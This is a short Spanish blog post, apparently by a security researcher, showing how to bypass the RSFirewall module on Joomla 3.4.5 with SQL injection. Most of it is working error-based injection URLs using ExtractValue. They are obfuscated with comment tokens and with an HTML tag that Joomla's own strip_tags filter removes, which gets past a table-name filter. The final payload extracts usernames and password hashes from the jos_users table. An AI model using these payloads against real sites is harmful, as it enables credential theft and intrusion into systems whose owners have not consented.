Sql injection en Joomla 3.4.5 con RSFirewall instalado

RSFirewall es un modulo de Joomla que se encarga de protegernos de ataques de inyección de código. Intentamos hacer una inyección SQL para comprobar su funcionamiento.

?option=com_content&view=article&id=28%20union%20select%20%20ExtractValue%281,%20CONCAT%280x5c,%20%28SELECT%20database%28%29%29%29%29&catid=2&Itemid=101

SQLi Joomla

Para evitarlo solo basta ofuscar un poco la petición para hacer una inyección valida

?option=com_content&view=article&id=28%20union/**/select/**/ExtractValue%281,%20CONCAT%280x5c,%20%28SELECT%20database%28%29%29%29%29&catid=2&Itemid=101

A pesar de eso, el modulo RSFirewall contiene un filtro de nombres de tablas validas para la base de datos de joomla, esto quiere decir que aunque loqremos hacer una inyección valida no servira de nada.

?option=com_content&view=article&id=28+union++select++ExtractValue%281%2C+CONCAT%280x5c%2C+%28+SELECT+CONCAT%28username,%27:%27,password%29%20from+jos_users%20limit%200,1%29%29%29&catid=2&Itemid=101

SQLi Joomla

 

?option=com_content&view=article&id=28+union++select++ExtractValue%281%2C+CONCAT%280x5c%2C+%28+SELECT+CONCAT%28username,%27:%27,password%29%20from+tabla_falsa%20limit%200,1%29%29%29&catid=2&Itemid=101

SQLi Joomla

Es bueno saber que Joomla se protege de los ataques XSS a través de la función PHP strip_tags, esta se encarga de eliminar de una cadena cualquier tag de HTML, lo que aremos sera poner sus filtros contra ellos mismos haciendo una eyección ofuscada con un tag HTML que sera eliminado por el mismo Joomla

?option=com_content&view=article&id=28+union++select++ExtractValue%281%2C+CONCAT%280x5c%2C+%28+SELECT+CONCAT%28username,%27:%27,password%29%20from+jos%3Cmolder%3E_users%20limit%200,1%29%29%29&catid=2&Itemid=101

SQLi Joomla

Como podemos ver hemos optenido acceso a las credenciales de usuario debido a un grave error de lógica y programación.

Fecha: 08 Jun 2018 13:13 Hrs.

Acerca del autor

Sombrero de paja molder